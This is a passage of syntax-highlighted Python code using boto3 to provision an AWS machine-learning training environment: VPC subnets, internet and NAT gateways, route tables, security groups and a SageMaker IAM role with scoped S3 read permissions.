                        <span class="sh">'</span><span class="s">ResourceType</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">subnet</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">Tags</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                            <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="si">{</span><span class="n">environment_name</span><span class="si">}</span><span class="s">-private-subnet-</span><span class="si">{</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="si">}</span><span class="sh">'</span><span class="p">},</span>
                            <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Type</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">private</span><span class="sh">'</span><span class="p">}</span>
                        <span class="p">]</span>
                    <span class="p">}</span>
                <span class="p">]</span>
            <span class="p">)</span>
            <span class="n">private_subnets</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">subnet_response</span><span class="p">[</span><span class="sh">'</span><span class="s">Subnet</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">SubnetId</span><span class="sh">'</span><span class="p">])</span>
        
        <span class="c1"># Create NAT Gateway for outbound internet access
</span>        <span class="c1"># First create public subnet for NAT Gateway
</span>        <span class="n">public_subnet_response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">create_subnet</span><span class="p">(</span>
            <span class="n">VpcId</span><span class="o">=</span><span class="n">vpc_id</span><span class="p">,</span>
            <span class="n">CidrBlock</span><span class="o">=</span><span class="sh">'</span><span class="s">10.0.100.0/24</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">AvailabilityZone</span><span class="o">=</span><span class="n">availability_zones</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="sh">'</span><span class="s">ZoneName</span><span class="sh">'</span><span class="p">],</span>
            <span class="n">TagSpecifications</span><span class="o">=</span><span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">ResourceType</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">subnet</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">Tags</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="si">{</span><span class="n">environment_name</span><span class="si">}</span><span class="s">-public-subnet</span><span class="sh">'</span><span class="p">},</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Type</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">public</span><span class="sh">'</span><span class="p">}</span>
                    <span class="p">]</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">)</span>
        
        <span class="n">public_subnet_id</span> <span class="o">=</span> <span class="n">public_subnet_response</span><span class="p">[</span><span class="sh">'</span><span class="s">Subnet</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">SubnetId</span><span class="sh">'</span><span class="p">]</span>
        
        <span class="c1"># Create Internet Gateway
</span>        <span class="n">igw_response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">create_internet_gateway</span><span class="p">(</span>
            <span class="n">TagSpecifications</span><span class="o">=</span><span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">ResourceType</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">internet-gateway</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">Tags</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="si">{</span><span class="n">environment_name</span><span class="si">}</span><span class="s">-igw</span><span class="sh">'</span><span class="p">}</span>
                    <span class="p">]</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">)</span>
        
        <span class="n">igw_id</span> <span class="o">=</span> <span class="n">igw_response</span><span class="p">[</span><span class="sh">'</span><span class="s">InternetGateway</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">InternetGatewayId</span><span class="sh">'</span><span class="p">]</span>
        
        <span class="c1"># Attach IGW to VPC
</span>        <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">attach_internet_gateway</span><span class="p">(</span>
            <span class="n">InternetGatewayId</span><span class="o">=</span><span class="n">igw_id</span><span class="p">,</span>
            <span class="n">VpcId</span><span class="o">=</span><span class="n">vpc_id</span>
        <span class="p">)</span>
        
        <span class="c1"># Allocate Elastic IP for NAT Gateway
</span>        <span class="n">eip_response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">allocate_address</span><span class="p">(</span><span class="n">Domain</span><span class="o">=</span><span class="sh">'</span><span class="s">vpc</span><span class="sh">'</span><span class="p">)</span>
        
        <span class="c1"># Create NAT Gateway
</span>        <span class="n">nat_response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">create_nat_gateway</span><span class="p">(</span>
            <span class="n">SubnetId</span><span class="o">=</span><span class="n">public_subnet_id</span><span class="p">,</span>
            <span class="n">AllocationId</span><span class="o">=</span><span class="n">eip_response</span><span class="p">[</span><span class="sh">'</span><span class="s">AllocationId</span><span class="sh">'</span><span class="p">],</span>
            <span class="n">TagSpecifications</span><span class="o">=</span><span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">ResourceType</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">nat-gateway</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">Tags</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="si">{</span><span class="n">environment_name</span><span class="si">}</span><span class="s">-nat</span><span class="sh">'</span><span class="p">}</span>
                    <span class="p">]</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">)</span>
        
        <span class="c1"># Create route tables
</span>        <span class="c1"># Public route table
</span>        <span class="n">public_rt_response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">create_route_table</span><span class="p">(</span>
            <span class="n">VpcId</span><span class="o">=</span><span class="n">vpc_id</span><span class="p">,</span>
            <span class="n">TagSpecifications</span><span class="o">=</span><span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">ResourceType</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">route-table</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">Tags</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="si">{</span><span class="n">environment_name</span><span class="si">}</span><span class="s">-public-rt</span><span class="sh">'</span><span class="p">}</span>
                    <span class="p">]</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">)</span>
        
        <span class="c1"># Add route to internet gateway
</span>        <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">create_route</span><span class="p">(</span>
            <span class="n">RouteTableId</span><span class="o">=</span><span class="n">public_rt_response</span><span class="p">[</span><span class="sh">'</span><span class="s">RouteTable</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">RouteTableId</span><span class="sh">'</span><span class="p">],</span>
            <span class="n">DestinationCidrBlock</span><span class="o">=</span><span class="sh">'</span><span class="s">0.0.0.0/0</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">GatewayId</span><span class="o">=</span><span class="n">igw_id</span>
        <span class="p">)</span>
        
        <span class="c1"># Associate public subnet with public route table
</span>        <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">associate_route_table</span><span class="p">(</span>
            <span class="n">SubnetId</span><span class="o">=</span><span class="n">public_subnet_id</span><span class="p">,</span>
            <span class="n">RouteTableId</span><span class="o">=</span><span class="n">public_rt_response</span><span class="p">[</span><span class="sh">'</span><span class="s">RouteTable</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">RouteTableId</span><span class="sh">'</span><span class="p">]</span>
        <span class="p">)</span>
        
        <span class="c1"># Private route table
</span>        <span class="n">private_rt_response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">create_route_table</span><span class="p">(</span>
            <span class="n">VpcId</span><span class="o">=</span><span class="n">vpc_id</span><span class="p">,</span>
            <span class="n">TagSpecifications</span><span class="o">=</span><span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">ResourceType</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">route-table</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">Tags</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="si">{</span><span class="n">environment_name</span><span class="si">}</span><span class="s">-private-rt</span><span class="sh">'</span><span class="p">}</span>
                    <span class="p">]</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">)</span>
        
        <span class="c1"># Add route to NAT gateway (wait for NAT to be available)
</span>        <span class="c1"># In production, you should wait for NAT gateway to be available
</span>        <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">create_route</span><span class="p">(</span>
            <span class="n">RouteTableId</span><span class="o">=</span><span class="n">private_rt_response</span><span class="p">[</span><span class="sh">'</span><span class="s">RouteTable</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">RouteTableId</span><span class="sh">'</span><span class="p">],</span>
            <span class="n">DestinationCidrBlock</span><span class="o">=</span><span class="sh">'</span><span class="s">0.0.0.0/0</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">NatGatewayId</span><span class="o">=</span><span class="n">nat_response</span><span class="p">[</span><span class="sh">'</span><span class="s">NatGateway</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">NatGatewayId</span><span class="sh">'</span><span class="p">]</span>
        <span class="p">)</span>
        
        <span class="c1"># Associate private subnets with private route table
</span>        <span class="k">for</span> <span class="n">subnet_id</span> <span class="ow">in</span> <span class="n">private_subnets</span><span class="p">:</span>
            <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">associate_route_table</span><span class="p">(</span>
                <span class="n">SubnetId</span><span class="o">=</span><span class="n">subnet_id</span><span class="p">,</span>
                <span class="n">RouteTableId</span><span class="o">=</span><span class="n">private_rt_response</span><span class="p">[</span><span class="sh">'</span><span class="s">RouteTable</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">RouteTableId</span><span class="sh">'</span><span class="p">]</span>
            <span class="p">)</span>
        
        <span class="k">return</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">vpc_id</span><span class="sh">'</span><span class="p">:</span> <span class="n">vpc_id</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">private_subnets</span><span class="sh">'</span><span class="p">:</span> <span class="n">private_subnets</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">public_subnet</span><span class="sh">'</span><span class="p">:</span> <span class="n">public_subnet_id</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">nat_gateway_id</span><span class="sh">'</span><span class="p">:</span> <span class="n">nat_response</span><span class="p">[</span><span class="sh">'</span><span class="s">NatGateway</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">NatGatewayId</span><span class="sh">'</span><span class="p">],</span>
            <span class="sh">'</span><span class="s">internet_gateway_id</span><span class="sh">'</span><span class="p">:</span> <span class="n">igw_id</span>
        <span class="p">}</span>
    
    <span class="k">def</span> <span class="nf">_create_training_security_groups</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">vpc_id</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">allowed_ports</span><span class="p">:</span> <span class="n">List</span><span class="p">[</span><span class="nb">int</span><span class="p">])</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Create security groups for training environment</span><span class="sh">"""</span>
        
        <span class="c1"># Training instances security group
</span>        <span class="n">training_sg_response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">create_security_group</span><span class="p">(</span>
            <span class="n">GroupName</span><span class="o">=</span><span class="sh">'</span><span class="s">ml-training-instances</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">Description</span><span class="o">=</span><span class="sh">'</span><span class="s">Security group for ML training instances</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">VpcId</span><span class="o">=</span><span class="n">vpc_id</span><span class="p">,</span>
            <span class="n">TagSpecifications</span><span class="o">=</span><span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">ResourceType</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">security-group</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">Tags</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ml-training-instances</span><span class="sh">'</span><span class="p">},</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Purpose</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ML Training</span><span class="sh">'</span><span class="p">}</span>
                    <span class="p">]</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">)</span>
        
        <span class="n">training_sg_id</span> <span class="o">=</span> <span class="n">training_sg_response</span><span class="p">[</span><span class="sh">'</span><span class="s">GroupId</span><span class="sh">'</span><span class="p">]</span>
        
        <span class="c1"># Allow HTTPS outbound
</span>        <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">authorize_security_group_egress</span><span class="p">(</span>
            <span class="n">GroupId</span><span class="o">=</span><span class="n">training_sg_id</span><span class="p">,</span>
            <span class="n">IpPermissions</span><span class="o">=</span><span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">IpProtocol</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">tcp</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">FromPort</span><span class="sh">'</span><span class="p">:</span> <span class="mi">443</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">ToPort</span><span class="sh">'</span><span class="p">:</span> <span class="mi">443</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">IpRanges</span><span class="sh">'</span><span class="p">:</span> <span class="p">[{</span><span class="sh">'</span><span class="s">CidrIp</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">0.0.0.0/0</span><span class="sh">'</span><span class="p">}]</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">)</span>
        
        <span class="c1"># Allow custom ports if specified
</span>        <span class="k">for</span> <span class="n">port</span> <span class="ow">in</span> <span class="n">allowed_ports</span><span class="p">:</span>
            <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">authorize_security_group_ingress</span><span class="p">(</span>
                <span class="n">GroupId</span><span class="o">=</span><span class="n">training_sg_id</span><span class="p">,</span>
                <span class="n">IpPermissions</span><span class="o">=</span><span class="p">[</span>
                    <span class="p">{</span>
                        <span class="sh">'</span><span class="s">IpProtocol</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">tcp</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">FromPort</span><span class="sh">'</span><span class="p">:</span> <span class="n">port</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">ToPort</span><span class="sh">'</span><span class="p">:</span> <span class="n">port</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">UserIdGroupPairs</span><span class="sh">'</span><span class="p">:</span> <span class="p">[{</span><span class="sh">'</span><span class="s">GroupId</span><span class="sh">'</span><span class="p">:</span> <span class="n">training_sg_id</span><span class="p">}]</span>
                    <span class="p">}</span>
                <span class="p">]</span>
            <span class="p">)</span>
        
        <span class="c1"># VPC Endpoints security group
</span>        <span class="n">vpc_endpoint_sg_response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">create_security_group</span><span class="p">(</span>
            <span class="n">GroupName</span><span class="o">=</span><span class="sh">'</span><span class="s">ml-vpc-endpoints</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">Description</span><span class="o">=</span><span class="sh">'</span><span class="s">Security group for VPC endpoints</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">VpcId</span><span class="o">=</span><span class="n">vpc_id</span><span class="p">,</span>
            <span class="n">TagSpecifications</span><span class="o">=</span><span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">ResourceType</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">security-group</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">Tags</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ml-vpc-endpoints</span><span class="sh">'</span><span class="p">},</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Purpose</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">VPC Endpoints</span><span class="sh">'</span><span class="p">}</span>
                    <span class="p">]</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">)</span>
        
        <span class="n">vpc_endpoint_sg_id</span> <span class="o">=</span> <span class="n">vpc_endpoint_sg_response</span><span class="p">[</span><span class="sh">'</span><span class="s">GroupId</span><span class="sh">'</span><span class="p">]</span>
        
        <span class="c1"># Allow HTTPS from training instances
</span>        <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">authorize_security_group_ingress</span><span class="p">(</span>
            <span class="n">GroupId</span><span class="o">=</span><span class="n">vpc_endpoint_sg_id</span><span class="p">,</span>
            <span class="n">IpPermissions</span><span class="o">=</span><span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">IpProtocol</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">tcp</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">FromPort</span><span class="sh">'</span><span class="p">:</span> <span class="mi">443</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">ToPort</span><span class="sh">'</span><span class="p">:</span> <span class="mi">443</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">UserIdGroupPairs</span><span class="sh">'</span><span class="p">:</span> <span class="p">[{</span><span class="sh">'</span><span class="s">GroupId</span><span class="sh">'</span><span class="p">:</span> <span class="n">training_sg_id</span><span class="p">}]</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">)</span>
        
        <span class="k">return</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">training_security_group_id</span><span class="sh">'</span><span class="p">:</span> <span class="n">training_sg_id</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">vpc_endpoint_security_group_id</span><span class="sh">'</span><span class="p">:</span> <span class="n">vpc_endpoint_sg_id</span>
        <span class="p">}</span>
    
    <span class="k">def</span> <span class="nf">_create_training_role</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> 
                              <span class="n">environment_name</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span>
                              <span class="n">data_sources</span><span class="p">:</span> <span class="n">List</span><span class="p">[</span><span class="nb">str</span><span class="p">],</span>
                              <span class="n">output_location</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Create IAM role with minimal permissions for training</span><span class="sh">"""</span>
        
        <span class="n">role_name</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">'</span><span class="si">{</span><span class="n">environment_name</span><span class="si">}</span><span class="s">-training-role</span><span class="sh">'</span>
        
        <span class="c1"># Trust policy for SageMaker
</span>        <span class="n">trust_policy</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">"</span><span class="s">Version</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">2012-10-17</span><span class="sh">"</span><span class="p">,</span>
            <span class="sh">"</span><span class="s">Statement</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Allow</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Principal</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">Service</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">sagemaker.amazonaws.com</span><span class="sh">"</span>
                    <span class="p">},</span>
                    <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">sts:AssumeRole</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">StringEquals</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">"</span><span class="s">aws:RequestedRegion</span><span class="sh">"</span><span class="p">:</span> <span class="n">boto3</span><span class="p">.</span><span class="nc">Session</span><span class="p">().</span><span class="n">region_name</span>
                        <span class="p">}</span>
                    <span class="p">}</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">}</span>
        
        <span class="c1"># Create role
</span>        <span class="n">role_response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">iam</span><span class="p">.</span><span class="nf">create_role</span><span class="p">(</span>
            <span class="n">RoleName</span><span class="o">=</span><span class="n">role_name</span><span class="p">,</span>
            <span class="n">AssumeRolePolicyDocument</span><span class="o">=</span><span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">(</span><span class="n">trust_policy</span><span class="p">),</span>
            <span class="n">Description</span><span class="o">=</span><span class="sa">f</span><span class="sh">'</span><span class="s">Training role for </span><span class="si">{</span><span class="n">environment_name</span><span class="si">}</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">MaxSessionDuration</span><span class="o">=</span><span class="mi">3600</span><span class="p">,</span>  <span class="c1"># 1 hour maximum
</span>            <span class="n">Tags</span><span class="o">=</span><span class="p">[</span>
                <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Environment</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="n">environment_name</span><span class="p">},</span>
                <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Purpose</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ML Training</span><span class="sh">'</span><span class="p">}</span>
            <span class="p">]</span>
        <span class="p">)</span>
        
        <span class="c1"># Create minimal permission policy
</span>        <span class="n">s3_resources</span> <span class="o">=</span> <span class="p">[]</span>
        <span class="k">for</span> <span class="n">source</span> <span class="ow">in</span> <span class="n">data_sources</span><span class="p">:</span>
            <span class="k">if</span> <span class="n">source</span><span class="p">.</span><span class="nf">startswith</span><span class="p">(</span><span class="sh">'</span><span class="s">s3://</span><span class="sh">'</span><span class="p">):</span>
                <span class="n">bucket_and_prefix</span> <span class="o">=</span> <span class="n">source</span><span class="p">.</span><span class="nf">replace</span><span class="p">(</span><span class="sh">'</span><span class="s">s3://</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
                <span class="n">s3_resources</span><span class="p">.</span><span class="nf">extend</span><span class="p">([</span>
                    <span class="sa">f</span><span class="sh">'</span><span class="s">arn:aws:s3:::</span><span class="si">{</span><span class="n">bucket_and_prefix</span><span class="si">}</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sa">f</span><span class="sh">'</span><span class="s">arn:aws:s3:::</span><span class="si">{</span><span class="n">bucket_and_prefix</span><span class="si">}</span><span class="s">/*</span><span class="sh">'</span>
                <span class="p">])</span>
        
        <span class="k">if</span> <span class="n">output_location</span><span class="p">.</span><span class="nf">startswith</span><span class="p">(</span><span class="sh">'</span><span class="s">s3://</span><span class="sh">'</span><span class="p">):</span>
            <span class="n">bucket_and_prefix</span> <span class="o">=</span> <span class="n">output_location</span><span class="p">.</span><span class="nf">replace</span><span class="p">(</span><span class="sh">'</span><span class="s">s3://</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
            <span class="n">s3_resources</span><span class="p">.</span><span class="nf">extend</span><span class="p">([</span>
                <span class="sa">f</span><span class="sh">'</span><span class="s">arn:aws:s3:::</span><span class="si">{</span><span class="n">bucket_and_prefix</span><span class="si">}</span><span class="sh">'</span><span class="p">,</span>
                <span class="sa">f</span><span class="sh">'</span><span class="s">arn:aws:s3:::</span><span class="si">{</span><span class="n">bucket_and_prefix</span><span class="si">}</span><span class="s">/*</span><span class="sh">'</span>
            <span class="p">])</span>
        
        <span class="n">permission_policy</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">"</span><span class="s">Version</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">2012-10-17</span><span class="sh">"</span><span class="p">,</span>
            <span class="sh">"</span><span class="s">Statement</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Allow</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                        <span class="sh">"</span><span class="s">s3:GetObject</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">s3:ListBucket</span><span class="sh">"</span>
                    <span class="p">],</span>
                    <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="n">s3_resources</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">StringEquals</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">"</span><span class="s">s3:x-amz-server-side-encryption</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">aws:kms</span><span class="sh">"</span>
                        <span class="p">}</span>
                    <span class="p">}</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Allow</span><span class="sh">"</span><span class="p">,</span>
